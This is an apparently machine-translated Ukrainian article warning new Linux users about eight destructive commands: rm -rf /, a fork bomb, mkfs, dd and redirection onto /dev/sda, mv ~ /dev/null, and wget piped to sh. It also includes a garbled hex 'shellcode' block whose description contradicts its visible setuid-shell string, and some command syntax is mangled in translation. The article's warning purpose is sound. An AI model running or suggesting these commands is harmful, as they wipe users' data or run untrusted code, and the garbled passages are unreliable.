8 смертельних команд, які ви ніколи не повинні працювати на Linux
Команди терміналів Linux є потужними, і Linux не вимагатиме підтвердження, якщо ви виконаєте команду, яка розбиває вашу систему. Це не рідкість бачити тролів онлайн рекомендувати нові користувачі Linux запускати ці команди як жарт.
Вивчення команд, які не слід виконувати, допоможе захистити вас від тролів, збільшуючи розуміння того, як працює Linux. Це не вичерпний посібник, і команди тут можуть бути змінені різними способами.
Зауважте, що багато хто з цих команд буде небезпечним лише в тому випадку, якщо вони мають префікс sudo на Ubuntu - вони не працюватимуть інакше. На інших дистрибутивах Linux більшість команд має виконуватися як root.
Кредит на зображення: Череп і перехрещені кістки ремікс від Джейсона Форда на Твіттері
rm -rf / - видаляє все!
Команда rm -rf / видаляє все, що можливо, в тому числі файли на жорсткому диску та файли на підключених знімних носіях. Ця команда більш зрозуміла, якщо вона розбита:
rm - Видаліть такі файли.
-р - Запустіть rm рекурсивно (видаліть всі файли і папки всередині вказаної папки) і примусово видаліть всі файли, не підказуючи вам.
/ - Вказує команді rm розпочати в кореневому каталозі, який містить усі файли на вашому комп'ютері та на всіх встановлених мультимедійних пристроях, включаючи віддалені файлові спільні ресурси та знімні диски.
Linux з радістю виконуватиме цю команду і видалятиме все, не підказуючи, тому будьте обережні, використовуючи її! Команда rm також може використовуватися іншими небезпечними способами - rm -rf ~ буде видалено всі файли у вашій домашній теці, поки rm -rf. * буде видалено всі ваші конфігураційні файли.
Урок: Остерігайтеся rm -rf.
Замаскований rm -rf /
Ось ще один фрагмент коду, який розміщено в Інтернеті:
char esp [] __attribute__ ((розділ (". текст"))) / * e.s.p
реліз * /
X64 x64 x64 x64 x64 x64 x64 x64 x68
Xff xff xff xff x68 xd xd xdf xd9 x68 x8 xd99
Xx x86 x 68 x8 x x x x xd x54 x 56 x x x x x x x x x 56
X56 x56 x56 x86 x64 x64 x56 x56
X8 x73 x08 x56 x53 x80 x 38 x 31
Xc x40 xb xf xf x2 x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x 64
X6e x2 x 73 x 68 x00
“Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ”;
Це шістнадцяткова версія rm -rf / - виконання цієї команди видалило б ваші файли так само, як якщо б ви виконали rm -rf /.
Урок: Не запускайте дивні, очевидно замасковані команди, які ви не розумієте.
: () : |: & ;: - Бомба вилки
Наступний рядок є простою, але небезпечною функцією bash:
: () : |: & ;:
Ця коротка лінія визначає функцію оболонки, яка створює нові копії. Процес постійно реплікується, і його копії постійно реплікуються, швидко забираючи весь ваш процесорний час і пам'ять. Це може призвести до зависання комп'ютера. Це в основному атака відмови в обслуговуванні.
Урок: Баш функції є потужними, навіть дуже короткими.
Кредит на зображення: Dake у Вікісховищі
mkfs.ext4 / dev / sda1 - форматування жорсткого диска
The mkfs.ext4 / dev / sda1 Команда проста для розуміння:
mkfs.ext4 - Створіть нову файлову систему ext4 на наступному пристрої.
/ dev / sda1 - Визначає перший розділ на першому жорсткому диску, який, ймовірно, використовується.
У сукупності ця команда може бути еквівалентна виконуваному формату c: у Windows - вона витирає файли на першому розділі та замінить їх на нову файлову систему.
Ця команда також може надходити в інших формах - mkfs.ext3 / dev / sdb2 буде форматувати другий розділ на другому жорсткому диску файловою системою ext3.
Урок: Слідкуйте за виконанням команд безпосередньо на жорстких дисках, які починаються з / dev / sd.
команда> / dev / sda - записується безпосередньо на жорсткий диск
The команда> / dev / sda лінія працює аналогічно - вона запускає команду і надсилає вихід цієї команди безпосередньо на ваш перший жорсткий диск, записуючи дані безпосередньо на жорсткий диск і пошкоджуючи файлову систему.
команду - Виконати команду (може бути будь-якою командою.)
> - Надішліть вивід команди в наступне місце.
/ dev / sda - Запишіть вихід команди безпосередньо на пристрій жорсткого диска.
Урок: Як і вище, будьте обережні, виконуючи команди, що включають пристрої жорсткого диска, що починаються з / dev / sd.
dd, якщо = / dev / random з / / dev / sda - записує небажане на жорсткий диск
The dd, якщо = / dev / random від = / dev / sda Лінія також знищить дані на одному з ваших жорстких дисків.
dd - Копіювання з низького рівня з одного місця в інше.
if = / dev / random - Використовуйте / dev / random (випадкові дані) як вхідні дані - ви також можете побачити такі місця, як / dev / zero (нулі).
of = / dev / sda - Виведіть на перший жорсткий диск, замінивши його файловою системою випадковими даними про сміття.
Урок: dd копіює дані з одного місця в інше, що може бути небезпечним, якщо ви копіюєте безпосередньо на пристрій.
Зображення: Метт Рудже на Flickr
mv ~ / dev / null - переміщує ваш домашній каталог до чорної діри
/ dev / null - це ще одне спеціальне місце - переміщення до / dev / null - це те саме, що і його знищення. Думайте про / dev / null як про чорну діру. По суті, mv ~ / dev / null відправляє всі ваші особисті файли в чорну діру.
mv - Перемістіть наступний файл або каталог в інше місце.
~ - Представляє всю домашню папку.
/ dev / null - Перемістіть домашню папку в / dev / null, знищивши всі файли та видаливши оригінальні копії.
Урок: Символ ~ відображає вашу домашню папку, а переміщення об'єктів до / dev / null знищує їх.
wget http://example.com/something -O - | sh - Завантаження та виконання сценарію
Наведена вище рядок завантажує скрипт з Інтернету та надсилає його sh, який виконує вміст скрипта. Це може бути небезпечно, якщо ви не впевнені, що таке скрипт, або якщо ви не довіряєте його джерелу - не запускайте ненадійні скрипти.
wget - Завантажує файл. (Ви також можете побачити локон замість wget.)
http://example.com/something - Завантажте файл з цього місця.
| - Надішліть (відправте) вивід команди wget (файл, який ви завантажили) безпосередньо іншій команді.
sh - Надішліть файл до команди sh, яка виконує її, якщо це сценарій bash.
Урок: Не завантажуйте та не запускайте ненадійні сценарії з Інтернету, навіть за допомогою команди.
Знати будь-які інші небезпечні команди, які нові (і досвідчені) користувачі Linux не повинні виконувати? Залишити коментар і поділитися ними!